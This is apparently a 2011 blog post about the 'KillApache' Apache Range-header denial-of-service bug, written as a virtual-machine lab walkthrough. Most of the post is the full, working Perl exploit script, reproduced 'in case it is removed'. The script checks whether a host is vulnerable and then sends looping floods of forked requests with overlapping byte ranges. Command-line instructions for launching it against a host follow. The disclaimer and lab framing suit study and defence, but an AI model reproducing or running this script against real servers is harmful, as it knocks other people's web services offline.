[Obligatory Warning: This post is for educational and prevention purposes only. I am not responsible if you use the information here in a malicious way. If you want to experiment with this vulnerability, please use Virtual Machines in a segregated environment. Never attack a machine that you do not own.]
A vulnerability for Apache web servers has been released yesterday (varying reports say that the bug was discovered over four years ago, but a script has just been written) on SecLists. Called "KillApache," the Perl script uses memory swapping and process killing to render the remote system unstable. The full thread can be read here at SecList:
http://seclists.org/fulldisclosure/2011/Aug/175
Currently, Apache has offered several mitigation techniques and work-arounds until the next release addresses the issue. The issue is that the vulnerability affects almost all Apache servers currently in use - versions 1.3 and 2. You can read about the temporary fixes here:
http://web.archiveorange.com/archive/v/zvbaIDN8J7uv2lETRSfD
Until it's fixed, I decided to try out this vulnerability using Backtrack 5 and Fedora LAMP Virtual Machines. The base install of Apache, PHP, and MySQL was not changed in any way on the Fedora machine, nor were any intrusion detection or mitigation systems; it was a fresh install.
I'm going to assume that you have an Apache server already set up. There are many guides that can assist with installing Apache on Linux or Windows (as far as I know, the vulnerability affects both platforms).
The Perl script can be run from any machine with Perl installed. I am using Backtrack for penetration testing, so I saved the script there. I noticed that the default installation of Backtrack did not include a necessary Perl component called "Parallel-ForkManager." To install that, run these commands:
$ wget http://search.cpan.org/CPAN/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.9.tar.gz
$ tar -xvzf Parallel-ForkManager-0.7.9.tar.gz
$ cd Parallel-ForkManager-0.7.9
$ perl Makefile.pl
$ make
$ sudo make install
Once that is installed, download the killapache.pl script from the SecList site above. In case it is removed or the link changes, the full script is here:
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}
if ($#ARGV < 0) {
usage;
exit;
}
if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}
$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}
Once you create and save the script as killapache.pl, you can run it from the command line as:
$ perl killapache.pl <host> <num_forks>
$ perl killapache 10.10.1.1 50
You will immediately notice that the attack is working if you view the system resource monitor of your remote machine. Here are some screenshots I took while running the attack against a VM:
This is the system before the attack is launched.
This is the system while the attack is running. Notice the huge spike in CPU usage.
As I said, please do not use this information maliciously. This is a serious bug because, although it will probably be addressed in the next Apache release, thousands, if not millions of servers will remain vulnerable for years until they are upgraded.
